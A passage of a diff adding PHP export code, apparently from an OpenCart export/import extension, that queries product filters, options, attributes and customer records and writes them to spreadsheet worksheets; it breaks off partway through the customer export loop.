+ foreach ($product_attributes as $row) {
+ $worksheet->getRowDimension($i)->setRowHeight(13);
+ $data = array();
+ $data[$j++] = $row['product_id'];
+ if ($this->config->get( 'export_import_settings_use_attribute_group_id' )) {
+ $data[$j++] = $row['attribute_group_id'];
+ } else {
+ $data[$j++] = html_entity_decode($attribute_group_names[$row['attribute_group_id']],ENT_QUOTES,'UTF-8');
+ }
+ if ($this->config->get( 'export_import_settings_use_attribute_id' )) {
+ $data[$j++] = $row['attribute_id'];
+ } else {
+ $data[$j++] = html_entity_decode($attribute_names[$row['attribute_id']],ENT_QUOTES,'UTF-8');
+ }
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['text'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function getProductFilters( $min_id, $max_id ) {
+ $sql = "SELECT pf.product_id, fg.filter_group_id, pf.filter_id ";
+ $sql .= "FROM `".DB_PREFIX."product_filter` pf ";
+ $sql .= "INNER JOIN `".DB_PREFIX."filter` f ON f.filter_id=pf.filter_id ";
+ $sql .= "INNER JOIN `".DB_PREFIX."filter_group` fg ON fg.filter_group_id=f.filter_group_id ";
+ if ($this->posted_categories) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."product_to_category` pc ON pc.product_id=pf.product_id ";
+ }
+ if ($this->posted_manufacturers) {
+ $sql .= "LEFT JOIN `".DB_PREFIX."product` p ON p.product_id=pf.product_id ";
+ }
+ if (isset($min_id) && isset($max_id)) {
+ $sql .= "WHERE pf.product_id BETWEEN $min_id AND $max_id ";
+ if ($this->posted_categories) {
+ $sql .= "AND pc.category_id IN ".$this->posted_categories." ";
+ }
+ } else if ($this->posted_categories) {
+ $sql .= "WHERE pc.category_id IN ".$this->posted_categories." ";
+ }
+ if ($this->posted_manufacturers) {
+ $sql .= (strpos($sql," WHERE ",0)===false) ? " WHERE " : " AND ";
+ $sql .= "p.manufacturer_id IN ".$this->posted_manufacturers." ";
+ }
+ $sql .= "ORDER BY pf.product_id ASC, fg.filter_group_id ASC, pf.filter_id ASC";
+ $query = $this->db->query( $sql );
+ $product_filters = array();
+ foreach ($query->rows as $row) {
+ $product_filter = array();
+ $product_filter['product_id'] = $row['product_id'];
+ $product_filter['filter_group_id'] = $row['filter_group_id'];
+ $product_filter['filter_id'] = $row['filter_id'];
+ $product_filters[] = $product_filter;
+ }
+ return $product_filters;
+ }
+
+
+ protected function populateProductFiltersWorksheet( &$worksheet, &$languages, $default_language_id, &$box_format, &$text_format, $min_id=null, $max_id=null ) {
+ // Set the column widths
+ $j = 0;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('product_id')+1);
+ if ($this->config->get( 'export_import_settings_use_filter_group_id' )) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('filter_group_id')+1);
+ } else {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('filter_group'),30)+1);
+ }
+ if ($this->config->get( 'export_import_settings_use_filter_id' )) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('filter_id')+1);
+ } else {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('filter'),30)+1);
+ }
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('text')+4,30)+1);
+ }
+
+ // The heading row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'product_id';
+ if ($this->config->get( 'export_import_settings_use_filter_group_id' )) {
+ $data[$j++] = 'filter_group_id';
+ } else {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'filter_group';
+ }
+ if ($this->config->get( 'export_import_settings_use_filter_id' )) {
+ $data[$j++] = 'filter_id';
+ } else {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'filter';
+ }
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual product filters data
+ if (!$this->config->get( 'export_import_settings_use_filter_group_id' )) {
+ $filter_group_names = $this->getFilterGroupNames( $default_language_id );
+ }
+ if (!$this->config->get( 'export_import_settings_use_filter_id' )) {
+ $filter_names = $this->getFilterNames( $default_language_id );
+ }
+ $i += 1;
+ $j = 1;
+ $product_filters = $this->getProductFilters( $min_id, $max_id );
+ foreach ($product_filters as $row) {
+ $worksheet->getRowDimension($i)->setRowHeight(13);
+ $data = array();
+ $data[$j++] = $row['product_id'];
+ if ($this->config->get( 'export_import_settings_use_filter_group_id' )) {
+ $data[$j++] = $row['filter_group_id'];
+ } else {
+ $data[$j++] = html_entity_decode($filter_group_names[$row['filter_group_id']],ENT_QUOTES,'UTF-8');
+ }
+ if ($this->config->get( 'export_import_settings_use_filter_id' )) {
+ $data[$j++] = $row['filter_id'];
+ } else {
+ $data[$j++] = html_entity_decode($filter_names[$row['filter_id']],ENT_QUOTES,'UTF-8');
+ }
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function getOptionDescriptions( &$languages ) {
+ // query the option_description table for each language
+ $option_descriptions = array();
+ foreach ($languages as $language) {
+ $language_id = $language['language_id'];
+ $language_code = $language['code'];
+ $sql = "SELECT o.option_id, od.* ";
+ $sql .= "FROM `".DB_PREFIX."option` o ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."option_description` od ON od.option_id=o.option_id AND od.language_id='".(int)$language_id."' ";
+ $sql .= "GROUP BY o.option_id ";
+ $sql .= "ORDER BY o.option_id ASC ";
+ $query = $this->db->query( $sql );
+ $option_descriptions[$language_code] = $query->rows;
+ }
+ return $option_descriptions;
+ }
+
+
+ protected function getOptions( &$languages ) {
+ $results = $this->db->query( "SELECT * FROM `".DB_PREFIX."option` ORDER BY option_id ASC" );
+ $option_descriptions = $this->getOptionDescriptions( $languages );
+ foreach ($languages as $language) {
+ $language_code = $language['code'];
+ foreach ($results->rows as $key=>$row) {
+ if (isset($option_descriptions[$language_code][$key])) {
+ $results->rows[$key]['name'][$language_code] = $option_descriptions[$language_code][$key]['name'];
+ } else {
+ $results->rows[$key]['name'][$language_code] = '';
+ }
+ }
+ }
+ return $results->rows;
+ }
+
+
+ protected function populateOptionsWorksheet( &$worksheet, &$languages, &$box_format, &$text_format ) {
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('option_id'),4)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('type'),10)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('sort_order'),5)+1);
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('name')+4,30)+1);
+ }
+
+ // The options headings row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'option_id';
+ $data[$j++] = 'type';
+ $data[$j++] = 'sort_order';
+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'name('.$language['code'].')';
+ }
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual options data
+ $i += 1;
+ $j = 1;
+ $options = $this->getOptions( $languages );
+ foreach ($options as $row) {
+ $worksheet->getRowDimension($i)->setRowHeight(13);
+ $data = array();
+ $data[$j++] = $row['option_id'];
+ $data[$j++] = $row['type'];
+ $data[$j++] = $row['sort_order'];
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['name'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function getOptionValueDescriptions( &$languages ) {
+ // query the option_description table for each language
+ $option_value_descriptions = array();
+ foreach ($languages as $language) {
+ $language_id = $language['language_id'];
+ $language_code = $language['code'];
+ $sql = "SELECT ov.option_id, ov.option_value_id, ovd.* ";
+ $sql .= "FROM `".DB_PREFIX."option_value` ov ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."option_value_description` ovd ON ovd.option_value_id=ov.option_value_id AND ovd.language_id='".(int)$language_id."' ";
+ $sql .= "GROUP BY ov.option_id, ov.option_value_id ";
+ $sql .= "ORDER BY ov.option_id ASC, ov.option_value_id ASC ";
+ $query = $this->db->query( $sql );
+ $option_value_descriptions[$language_code] = $query->rows;
+ }
+ return $option_value_descriptions;
+ }
+
+
+ protected function getOptionValues( &$languages ) {
+ $results = $this->db->query( "SELECT * FROM `".DB_PREFIX."option_value` ORDER BY option_id ASC, option_value_id ASC" );
+ $option_value_descriptions = $this->getOptionValueDescriptions( $languages );
+ foreach ($languages as $language) {
+ $language_code = $language['code'];
+ foreach ($results->rows as $key=>$row) {
+ if (isset($option_value_descriptions[$language_code][$key])) {
+ $results->rows[$key]['name'][$language_code] = $option_value_descriptions[$language_code][$key]['name'];
+ } else {
+ $results->rows[$key]['name'][$language_code] = '';
+ }
+ }
+ }
+ return $results->rows;
+ }
+
+
+ protected function populateOptionValuesWorksheet( &$worksheet, $languages, &$box_format, &$text_format ) {
+ // check for the existence of option_value.image field
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."option_value` LIKE 'image'";
+ $query = $this->db->query( $sql );
+ $exist_image = ($query->num_rows > 0) ? true : false;
+
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('option_value_id'),2)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('option_id'),4)+1);
+ if ($exist_image) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('image'),12)+1);
+ }
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('sort_order'),5)+1);
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('name')+4,30)+1);
+ }
+
+ // The option values headings row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'option_value_id';
+ $data[$j++] = 'option_id';
+ if ($exist_image) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'image';
+ }
+ $data[$j++] = 'sort_order';
+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'name('.$language['code'].')';
+ }
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual option values data
+ $i += 1;
+ $j = 1;
+ $options = $this->getOptionValues( $languages );
+ foreach ($options as $row) {
+ $worksheet->getRowDimension($i)->setRowHeight(13);
+ $data = array();
+ $data[$j++] = $row['option_value_id'];
+ $data[$j++] = $row['option_id'];
+ if ($exist_image) {
+ $data[$j++] = $row['image'];
+ }
+ $data[$j++] = $row['sort_order'];
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['name'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function getAttributeGroupDescriptions( &$languages ) {
+ // query the attribute_group_description table for each language
+ $attribute_group_descriptions = array();
+ foreach ($languages as $language) {
+ $language_id = $language['language_id'];
+ $language_code = $language['code'];
+ $sql = "SELECT ag.attribute_group_id, agd.* ";
+ $sql .= "FROM `".DB_PREFIX."attribute_group` ag ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."attribute_group_description` agd ON agd.attribute_group_id=ag.attribute_group_id AND agd.language_id='".(int)$language_id."' ";
+ $sql .= "GROUP BY ag.attribute_group_id ";
+ $sql .= "ORDER BY ag.attribute_group_id ASC ";
+ $query = $this->db->query( $sql );
+ $attribute_group_descriptions[$language_code] = $query->rows;
+ }
+ return $attribute_group_descriptions;
+ }
+
+
+ protected function getAttributeGroups( &$languages ) {
+ $results = $this->db->query( "SELECT * FROM `".DB_PREFIX."attribute_group` ORDER BY attribute_group_id ASC" );
+ $attribute_group_descriptions = $this->getAttributeGroupDescriptions( $languages );
+ foreach ($languages as $language) {
+ $language_code = $language['code'];
+ foreach ($results->rows as $key=>$row) {
+ if (isset($attribute_group_descriptions[$language_code][$key])) {
+ $results->rows[$key]['name'][$language_code] = $attribute_group_descriptions[$language_code][$key]['name'];
+ } else {
+ $results->rows[$key]['name'][$language_code] = '';
+ }
+ }
+ }
+ return $results->rows;
+ }
+
+
+ protected function populateAttributeGroupsWorksheet( &$worksheet, $languages, &$box_format, &$text_format ) {
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('attribute_group_id'),4)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('sort_order'),5)+1);
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('name')+4,30)+1);
+ }
+
+ // The attribute groups headings row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'attribute_group_id';
+ $data[$j++] = 'sort_order';
+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] ='name('.$language['code'].')';
+ }
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual attribute groups data
+ $i += 1;
+ $j = 1;
+ $attributes = $this->getAttributeGroups( $languages );
+ foreach ($attributes as $row) {
+ $worksheet->getRowDimension($i)->setRowHeight(13);
+ $data = array();
+ $data[$j++] = $row['attribute_group_id'];
+ $data[$j++] = $row['sort_order'];
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['name'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function getAttributeDescriptions( &$languages ) {
+ // query the attribute_description table for each language
+ $attribute_descriptions = array();
+ foreach ($languages as $language) {
+ $language_id = $language['language_id'];
+ $language_code = $language['code'];
+ $sql = "SELECT a.attribute_group_id, a.attribute_id, ad.* ";
+ $sql .= "FROM `".DB_PREFIX."attribute` a ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."attribute_description` ad ON ad.attribute_id=a.attribute_id AND ad.language_id='".(int)$language_id."' ";
+ $sql .= "GROUP BY a.attribute_group_id, a.attribute_id ";
+ $sql .= "ORDER BY a.attribute_group_id ASC, a.attribute_id ASC ";
+ $query = $this->db->query( $sql );
+ $attribute_descriptions[$language_code] = $query->rows;
+ }
+ return $attribute_descriptions;
+ }
+
+
+ protected function getAttributes( &$languages ) {
+ $results = $this->db->query( "SELECT * FROM `".DB_PREFIX."attribute` ORDER BY attribute_group_id ASC, attribute_id ASC" );
+ $attribute_descriptions = $this->getAttributeDescriptions( $languages );
+ foreach ($languages as $language) {
+ $language_code = $language['code'];
+ foreach ($results->rows as $key=>$row) {
+ if (isset($attribute_descriptions[$language_code][$key])) {
+ $results->rows[$key]['name'][$language_code] = $attribute_descriptions[$language_code][$key]['name'];
+ } else {
+ $results->rows[$key]['name'][$language_code] = '';
+ }
+ }
+ }
+ return $results->rows;
+ }
+
+
+ protected function populateAttributesWorksheet( &$worksheet, $languages, &$box_format, &$text_format ) {
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('attribute_id'),2)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('attribute_group_id'),4)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('sort_order'),5)+1);
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('name')+4,30)+1);
+ }
+
+ // The attributes headings row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'attribute_id';
+ $data[$j++] = 'attribute_group_id';
+ $data[$j++] = 'sort_order';
+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'name('.$language['code'].')';
+ }
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual attributes values data
+ $i += 1;
+ $j = 1;
+ $options = $this->getAttributes( $languages );
+ foreach ($options as $row) {
+ $worksheet->getRowDimension($i)->setRowHeight(13);
+ $data = array();
+ $data[$j++] = $row['attribute_id'];
+ $data[$j++] = $row['attribute_group_id'];
+ $data[$j++] = $row['sort_order'];
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['name'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function getFilterGroupDescriptions( &$languages ) {
+ // query the filter_group_description table for each language
+ $filter_group_descriptions = array();
+ foreach ($languages as $language) {
+ $language_id = $language['language_id'];
+ $language_code = $language['code'];
+ $sql = "SELECT ag.filter_group_id, agd.* ";
+ $sql .= "FROM `".DB_PREFIX."filter_group` ag ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."filter_group_description` agd ON agd.filter_group_id=ag.filter_group_id AND agd.language_id='".(int)$language_id."' ";
+ $sql .= "GROUP BY ag.filter_group_id ";
+ $sql .= "ORDER BY ag.filter_group_id ASC ";
+ $query = $this->db->query( $sql );
+ $filter_group_descriptions[$language_code] = $query->rows;
+ }
+ return $filter_group_descriptions;
+ }
+
+
+ protected function getFilterGroups( &$languages ) {
+ $results = $this->db->query( "SELECT * FROM `".DB_PREFIX."filter_group` ORDER BY filter_group_id ASC" );
+ $filter_group_descriptions = $this->getFilterGroupDescriptions( $languages );
+ foreach ($languages as $language) {
+ $language_code = $language['code'];
+ foreach ($results->rows as $key=>$row) {
+ if (isset($filter_group_descriptions[$language_code][$key])) {
+ $results->rows[$key]['name'][$language_code] = $filter_group_descriptions[$language_code][$key]['name'];
+ } else {
+ $results->rows[$key]['name'][$language_code] = '';
+ }
+ }
+ }
+ return $results->rows;
+ }
+
+
+ protected function populateFilterGroupsWorksheet( &$worksheet, $languages, &$box_format, &$text_format ) {
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('filter_group_id'),4)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('sort_order'),5)+1);
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('name')+4,30)+1);
+ }
+
+ // The filter groups headings row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'filter_group_id';
+ $data[$j++] = 'sort_order';
+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] ='name('.$language['code'].')';
+ }
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual filter groups data
+ $i += 1;
+ $j = 1;
+ $filters = $this->getFilterGroups( $languages );
+ foreach ($filters as $row) {
+ $worksheet->getRowDimension($i)->setRowHeight(13);
+ $data = array();
+ $data[$j++] = $row['filter_group_id'];
+ $data[$j++] = $row['sort_order'];
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['name'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function getFilterDescriptions( &$languages ) {
+ // query the filter_description table for each language
+ $filter_descriptions = array();
+ foreach ($languages as $language) {
+ $language_id = $language['language_id'];
+ $language_code = $language['code'];
+ $sql = "SELECT a.filter_group_id, a.filter_id, ad.* ";
+ $sql .= "FROM `".DB_PREFIX."filter` a ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."filter_description` ad ON ad.filter_id=a.filter_id AND ad.language_id='".(int)$language_id."' ";
+ $sql .= "GROUP BY a.filter_group_id, a.filter_id ";
+ $sql .= "ORDER BY a.filter_group_id ASC, a.filter_id ASC ";
+ $query = $this->db->query( $sql );
+ $filter_descriptions[$language_code] = $query->rows;
+ }
+ return $filter_descriptions;
+ }
+
+
+ protected function getFilters( &$languages ) {
+ $results = $this->db->query( "SELECT * FROM `".DB_PREFIX."filter` ORDER BY filter_group_id ASC, filter_id ASC" );
+ $filter_descriptions = $this->getFilterDescriptions( $languages );
+ foreach ($languages as $language) {
+ $language_code = $language['code'];
+ foreach ($results->rows as $key=>$row) {
+ if (isset($filter_descriptions[$language_code][$key])) {
+ $results->rows[$key]['name'][$language_code] = $filter_descriptions[$language_code][$key]['name'];
+ } else {
+ $results->rows[$key]['name'][$language_code] = '';
+ }
+ }
+ }
+ return $results->rows;
+ }
+
+
+ protected function populateFiltersWorksheet( &$worksheet, $languages, &$box_format, &$text_format ) {
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('filter_id'),2)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('filter_group_id'),4)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('sort_order'),5)+1);
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('name')+4,30)+1);
+ }
+
+ // The filters headings row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'filter_id';
+ $data[$j++] = 'filter_group_id';
+ $data[$j++] = 'sort_order';
+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'name('.$language['code'].')';
+ }
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual filters values data
+ $i += 1;
+ $j = 1;
+ $options = $this->getFilters( $languages );
+ foreach ($options as $row) {
+ $worksheet->getRowDimension($i)->setRowHeight(13);
+ $data = array();
+ $data[$j++] = $row['filter_id'];
+ $data[$j++] = $row['filter_group_id'];
+ $data[$j++] = $row['sort_order'];
+ foreach ($languages as $language) {
+ $data[$j++] = html_entity_decode($row['name'][$language['code']],ENT_QUOTES,'UTF-8');
+ }
+ $this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );
+ $i += 1;
+ $j = 1;
+ }
+ }
+
+
+ protected function getCustomers( $exist_custom_field, $exist_salt, $exist_safe, $exist_token, $exist_code, $offset=null, $rows=null, $min_id=null, $max_id=null ) {
+ // Newer OC versions use the 'customer_group_description' instead of 'customer_group' table for the 'name' field
+ $exist_table_customer_group_description = false;
+ $query = $this->db->query( "SHOW TABLES LIKE '".DB_PREFIX."customer_group_description'" );
+ $exist_table_customer_group_description = ($query->num_rows > 0);
+
+ $language_id = $this->getDefaultLanguageId();
+
+ if ($exist_table_customer_group_description) {
+ $sql = "SELECT c.*, cgd.name AS customer_group FROM `".DB_PREFIX."customer` c ";
+ $sql .= "INNER JOIN `".DB_PREFIX."customer_group_description` cgd ON cgd.customer_group_id=c.customer_group_id AND cgd.language_id='".(int)$language_id."' ";
+ } else {
+ $sql = "SELECT c.*, cg.name AS customer_group FROM `".DB_PREFIX."customer` c ";
+ $sql .= "INNER JOIN `".DB_PREFIX."customer_group` cg ON cg.customer_group_id=c.customer_group_id ";
+ }
+ if (isset($min_id) && isset($max_id)) {
+ $sql .= "WHERE c.customer_id BETWEEN $min_id AND $max_id ";
+ }
+ $sql .= "GROUP BY c.`customer_id` ";
+ $sql .= "ORDER BY c.`customer_id` ASC ";
+ if (isset($offset) && isset($rows)) {
+ $sql .= "LIMIT $offset,$rows; ";
+ } else {
+ $sql .= "; ";
+ }
+ $results = $this->db->query( $sql );
+ return $results->rows;
+ }
+
+
+ protected function populateCustomersWorksheet( &$worksheet, &$box_format, &$text_format, $offset=null, $rows=null, &$min_id=null, &$max_id=null ) {
+ // Some fields are only available in certain Opencart versions
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."customer` LIKE 'custom_field'";
+ $query = $this->db->query( $sql );
+ $exist_custom_field = ($query->num_rows > 0) ? true : false;
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."customer` LIKE 'salt'";
+ $query = $this->db->query( $sql );
+ $exist_salt = ($query->num_rows > 0) ? true : false;
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."customer` LIKE 'safe'";
+ $query = $this->db->query( $sql );
+ $exist_safe = ($query->num_rows > 0) ? true : false;
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."customer` LIKE 'token'";
+ $query = $this->db->query( $sql );
+ $exist_token = ($query->num_rows > 0) ? true : false;
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."customer` LIKE 'code'";
+ $query = $this->db->query( $sql );
+ $exist_code = ($query->num_rows > 0) ? true : false;
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."customer` LIKE 'approved'";
+ $query = $this->db->query( $sql );
+ $exist_approved = ($query->num_rows > 0) ? true : false;
+
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('customer_id')+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('customer_group')+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('store_id'),2)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('firstname'),20)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('lastname'),20)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('email'),30)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('telephone'),14)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('fax'),14)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('password'),40)+1);
+ if ($exist_salt) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('salt'),12)+1);
+ }
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('cart'),14)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('wishlist'),20)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('newsletter'),5)+1);
+ if ($exist_custom_field) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('custom_field'),20)+1);
+ }
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('ip'),15)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('status'),5)+1);
+ if ($exist_approved) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('approved'),5)+1);
+ }
+ if ($exist_safe) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('safe'),5)+1);
+ }
+ if ($exist_token) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('token'),20)+1);
+ }
+ if ($exist_code) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('code'),20)+1);
+ }
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('date_added'),19)+1);
+
+ // The heading row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'customer_id';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'customer_group';
+ $data[$j++] = 'store_id';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'firstname';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'lastname';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'email';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'telephone';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'fax';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'password';
+ if ($exist_salt) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'salt';
+ }
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'cart';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'wishlist';
+ $data[$j++] = 'newsletter';
+ if ($exist_custom_field) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'custom_field';
+ }
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'ip';
+ $data[$j++] = 'status';
+ if ($exist_approved) {
+ $data[$j++] = 'approved';
+ }
+ if ($exist_safe) {
+ $data[$j++] = 'safe';
+ }
+ if ($exist_token) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'token';
+ }
+ if ($exist_code) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'code';
+ }
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'date_added';
+ $worksheet->getRowDimension($i)->setRowHeight(30);
+ $this->setCellRow( $worksheet, $i, $data, $box_format );
+
+ // The actual customers data
+ $i += 1;
+ $j = 1;
+ $customers = $this->getCustomers( $exist_custom_field, $exist_salt, $exist_safe, $exist_token, $exist_code, $offset, $rows, $min_id, $max_id );
+ $len = count($customers);
+ $min_id = ($len>0) ? $customers[0]['customer_id'] : 0;
+ $max_id = ($len>0) ? $customers[$len-1]['customer_id'] : 0;
+ foreach ($customers as $row) {
+ $worksheet->getRowDimension($i)->setRowHeight(26);
+ $data = array();
+ $data[$j++] = $row['customer_id'];
+ $data[$j++] = $row['customer_group'];
+ $data[$j++] = $row['store_id'];
+ $data[$j++] = $row['firstname'];
+ $data[$j++] = $row['lastname'];
+ $data[$j++] = $row['email'];
+ $data[$j++] = $row['telephone'];
+ $data[$j++] = $row['fax'];
+ $data[$j++] = $row['password'];
